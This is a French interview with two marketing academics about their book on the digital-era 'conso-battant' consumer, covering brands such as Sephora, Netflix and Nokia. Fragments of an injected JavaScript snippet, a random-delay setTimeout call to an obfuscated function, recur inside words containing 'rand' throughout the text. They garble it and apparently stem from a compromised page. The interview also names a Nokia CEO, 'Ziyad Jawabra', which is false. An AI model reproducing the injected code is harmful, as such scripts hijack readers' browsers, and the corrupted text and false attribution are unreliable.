IDÉES Le consommateur des années 2010 est devenu un « conso-battant », mobile, zappeur, surinformé. Les marques qui ne l’ont pas compris risquent fort de connaître une erreur 404 fatale dans leur stratégie. C’est du moins ce qu’affirment Philippe Jourdan, professeur des universités et CEO de Promise Consulting, et Jean-Claude Pacitto, maître de conférences et membre du comité scientifique de Promise Consulting, dans le Marketing de la grenouille, un livre où ils dissèquent la redistribution des cartes à l’ère du digital et du client plus que jamais roi. Interview bondissante et coassante.
Dans votre livre, vous expliquez que la grenouille est un animal capable de s’adapter à son environnement mais aussi d’en crever sur place : le marketing de la grenouille serait donc à double tranchant ?
Philippe Jourdan : Oui et c’est là tout l’enjeu pour les marques et les distributeurs. La grenouille peut tout aussi bien se laisser anesthésier par son environnement si elle n’en perçoit pas les changements suffisamment vite et tôt. Il en est de même des organisations, qui vont considérer que les changements sont mineurs et que l’on aura le temps d’y faire face le moment venu. Trop de marques et de distributeurs considèrent qu’après tout, les stratégies en place ont fonctionné pendant des décennies, alors pourquoi changer ? On meurt sans s’en rendre compte de ce que l’on appelle « le syndrome de la grenouille », à l’image des déboires récents de l’enseigne Tesco. Et puis, il y a l’autre réaction de la grenouille : celle qui perçoit les brusques changements de l’environnement, introduit en particulier par les « disrupteurs », et qui réagit en conséquence, en bondissant rapidement et loin, ce qui signifie en langage stratégique, anticiper et renouveler ses ressources et ses compétences.
On meurt sans s’en rendre compte de ce que l’on appelle “le syndrome de la grenouille”, à l’image des déboires récents de l’enseigne Tesco. Et puis, il y a l’autre réaction de la grenouille…
Vous affirmez que le consommateur est devenu un « conso-battant », grâce à ses nouvelles capacités à s’informer. Pourtant, sur le Net, on a rarement vu une telle concentration, notamment avec les GAFA (Google, Apple, Facebook, Amazon). La clairvoyance des « conso-battants » n’est-elle pas un leurre ?
Jean-Claude Pacitto : Oui vous avez raison, la clairvoyance du consommateur s’exprime dans un contexte où une partie des règles semblent lui échapper – au même titre qu’elles échappent aux Etats. Pour l’ensemble de ces offres, dont certaines sont gratuites, le véritable « produit », c’est le consommateur, ou plutôt la masse d’informations et de données qu’il représente. On assiste donc à une marchandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andisation du citoyen, de l’auditeur, du consommateur, bref de toutes les facettes de l’individu. Dans cette optique, les GAFA peuvent poser problème aux consommateurs, qui toutefois sont de moins en moins dupes. N’oublions pas que le consommateur 2.0 utilise ces marques également comme des ressources, notamment dans ses stratégies de « faire-savoir ».
Cette concentration n’est donc pas une malédiction ?
Jean-Claude Pacitto : Oui, être un influenceur sur les réseaux sociaux est une arme pour se protéger : aujourd’hui, les marques redoutent ces stratégies qui visent à amplifier le « faire-savoir » en cas de mécontentement ou de litige. A l’occasion de l’achat d’un scooter, j’ai ainsi pu personnellement mesurer à quel point une forte visibilité sur Google pouvait changer la donne dans la négociation. Soulignons à cet égard que le numérique crée également des inégalités entre les consommateurs face aux marques. Aujourd’hui, le nouveau consommateur a deux atouts dans sa manche : il peut négocier sans subir l’asymétrie d’informations – le vendeur qui en savait traditionnellement plus que l’acheteur – et il peut à tout moment choisir un autre canal de distribution. On peut dès lors s’interroger sur le maintien d’écarts de prix pour une même offre, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and de multiples sites et canaux de distribution vous proposent les marques premium à des prix discount.
Etre un influenceur sur les réseaux sociaux est une arme pour se protéger.
Vous classez les nouveaux consommateurs en cinq catégories : le récessionniste, le négociateur, le vigile, le touche-à-tout, le minimaliste. Quel est leur point commun face aux marques ?
Ph. Jourdan : Ne plus être un client captif et, partant, un consommateur passif ! C’est ça leur point commun. Les stratégies d’achat mises en œuvre sont différentes, mais le message que tous adressent aux marques est le même : les rentes de situation, qui ne reposent pas sur un bénéfice avéré mis en œuvre dans un climat de confiance réciproque, sont révolues. Le conso-battant, quel que soit son profil, accepte de moins en moins les rentes de situation qui visent à le transformer en pigeon ! Il est vrai qu’il dispose d’une palette d’outils pour défier les marques, dénoncer les fausses innovations prétexte à de vraies hausses de prix, remettre également la distribution à sa place lorsqu’elle prétend vouloir défendre son pouvoir d’achat. Le conso-battant a une perception du juste prix, qui ne coïncide plus nécessairement avec celui des marques et des distributeurs.
Vouloir payer le « juste prix » est aussi lié à la tension sur le pouvoir d’achat et à l’incertitude économique, non ?
Ph. Jourdan : Oui, cela explique en partie ce phénomène. Mais derrière le mot juste, le désir de « justice » sociale est réel, ce qui peut aboutir à des paradoxes : le conso-battant veut à la fois un prix « juste » pour lui-même et un prix d’achat également « juste » pour le producteur, mettant ainsi la distribution et les pouvoir publics face à un dilemme, mais le consommateur pense, lui, « face à leurs responsabilités ».
Les cartes sont en train d’être redistribuées. Quelle est la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande marque qui n’a rien compris à ce bouleversement ?
J.-C. Pacitto : « Rien compris », le jugement peut paraître sévère. La plupart des marques que nous côtoyons ont compris les changements d’environnement. La myopie est plutôt sur l’accélération du temps, qui entraîne un retard, parfois fatal, dans la nécessaire adaptation : les changements sont plus brutaux qu’elles ne le pensent. Ils sont également plus profonds, impactant le modèle économique, l’offre, l’organisation, la relation aux clients, bref tout le mix marketing, alors que bien des marques ont eu la tentation de répondre par un « coup » de communication. Elles n’ont pas vu arriver les modèles alternatifs, les offres disruptives, bref une concurrence qui prétend jouer dans la cour des grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands, mais en imposant ses propres règles.
Donnez-nous un exemple concret.
J.-C. Pacitto : Prenons les médias : les chaînes cryptées ont aujourd’hui une offre jugée chère et rigide si on la compare à l’offre souple et réactive de Netflix dans l’univers des séries télévisées. La dynamique de recrutement profite donc logiquement à ce dernier. Il ne s’agit pas d’opposer la stratégie du « tuyau » à celle du « contenu », mais du point de vue du client, seul compte au final la qualité du contenu, alors que les acteurs classiques ont souvent parié sur le monopole du « tuyau ». Canal+ possède des atouts pour s’en sortir. En sera-t-il capable ?
Pour certains, le monde change tout simplement trop vite, comme l’a récemment reconnu Nokia.
S’il fallait retenir une seule leçon ?
J.-C. Pacitto : Les seules stratégies gagnantes seront celles qui appuient leur développement sur l’écoute du consommateur et une réponse adaptative à des attentes changeantes tout en gardant le cap sur leur vision et leur mission. Gare aux autres ! Ainsi, la Halle s’est-elle trop éloignée de sa vision – s’adresser à une clientèle désireuse de maintenir son « vouloir » d’achat dans une ambiance foire-fouille, pour un shopping petit prix dans des magasins sans fioriture – pour partir à la conquête des centres villes, une mission pour laquelle le groupe Vivarte manquait de légitimité face aux autres enseignes installées. Et puis parfois, le monde change tout simplement trop vite, ce que reconnaissait récemment le CEO de Nokia, Ziyad Jawabra, au moment d’annoncer le rachat de la société moribonde par Microsoft : « Nous n’avons rien fait de mal, mais quelque part, nous avons perdu tout simplement. »
A l’inverse, quelle est la marque qui a tout compris ?
Ph. Jourdan : Il y en a beaucoup et fort heureusement. Certaines empruntent à la nouvelle économie, mais nous avons un coup de cœur particulier pour les marques qui ont su prendre le virage de l’économie digitale tout en préservant leur vision sans trahir ni leur vocation, ni leurs clients. Dans l’univers des cosmétiques, Sephora nous semble exemplaire. L’enseigne, créée en 1973 et propriété depuis 1997 du groupe LVMH, ne s’est jamais départie de sa philosophie : casser les codes de la parfumerie traditionnelle, en offrant un vaste espace de découvertes, d’essais, de conseils dans une ambiance festive et ludique, de marques de luxe, de créateurs, de spécialistes pour toucher tous les publics. Cette philosophie, l’enseigne a su la reproduire sur son site Internet, prenant une place éminente dans le e-commerce de produits de beauté. Enfin, elle innove dans la réconciliation entre le magasin physique et virtuel, en vue d’améliorer l’expérience d’achat : application Color Your Face sur son mobile, programme de la relation client MySephora, tutos sur iPad interactifs, ouverture du premier magasin connecté à Paris, Sephora Flash…
De quel grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and changement l’avènement du digital se rapproche-t-il le plus : l’invention de l’imprimerie, l’apparition des lunettes ou la révolution industrielle ?
J.-C. Pacitto : Si l’on considère que le digital nous fait entrer à une vitesse inégalée dans l’économie de la connaissance, on pourrait rapprocher la révolution digitale de celle suscitée par l’imprimerie, qui a généré des bouleversements sociétaux de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and ampleur, en favorisant la circulation des idées – comme la Révolution Française –, car la circulation des idées est une force que rien ne peut ralentir. La révolution industrielle, pourquoi pas ? Elle a dramatiquement transformé les usages, mais ce qui distingue cette époque de la nôtre, c’est qu’elle fût dominée par des valeurs utilitaristes – « vivre plus » –, alors que la nôtre l’est davantage par l’hédonisme – « vivre mieux ». J’aime bien l’analogie avec l’apparition des lunettes : elle nous rappelle que ce n’est pas la technologie en soi qui bouleverse une société, mais son usage particulier et sa capacité à modifier les valeurs d’usage, ce que firent indéniablement les lunettes en leur temps. Si on ne comprend pas cela, on passe à côté de l’essentiel.
Ce n’est pas la technologie qui bouleverse une société, mais sa capacité à modifier les valeurs d’usage.
On parle beaucoup « d’ubérisation » de la société qui améliore incroyablement les services mais charrie aussi un max de précarité. Le nouveau consommateur en a-t-il pleinement conscience ?
Ph. Jourdan : Le nouveau consommateur est comme la grenouille, paradoxale et changeante. Il aime se parer des vertus citoyennes et éthiques, il se plaît à disserter sur les modes de consommation alternatifs mais en même temps sa démarche reste très individualiste et la maximisation de sa satisfaction reste un objectif prioritaire. Nous l’avons remarqué dans l’étude du comportement du touche-à-tout : il veut bien « collaborer » mais il faut qu’il y trouve un avantage pour lui-même – il ne s’agit donc pas d’une collaboration désintéressée, altruiste, humaniste. S’agissant de l’ubérisation de l’économie, le nouveau consommateur est partagé entre l’avantage à court terme qu’il retire de ces nouveaux services – en termes de choix, de flexibilité et de prix – et le sentiment de la précarisation de l’économie salariée qu’ils entraînent. Cette tension psychologique est toutefois vite estompée : comme sur bien des sujets, le Français reporte sur d’autres, en l’occurrence les pouvoirs publics, le soin d’arbitrer et de résoudre le problème. A l’écouter, ces évolutions sont « inéluctables » et à son niveau, il ne saurait seul les empêcher, un discours qui le rend proche d’Emmanuel Macron. Par certains côtés, le Français est donc bien ce « mutin » de Panurge, si bien décrit par le regretté Philippe Muray.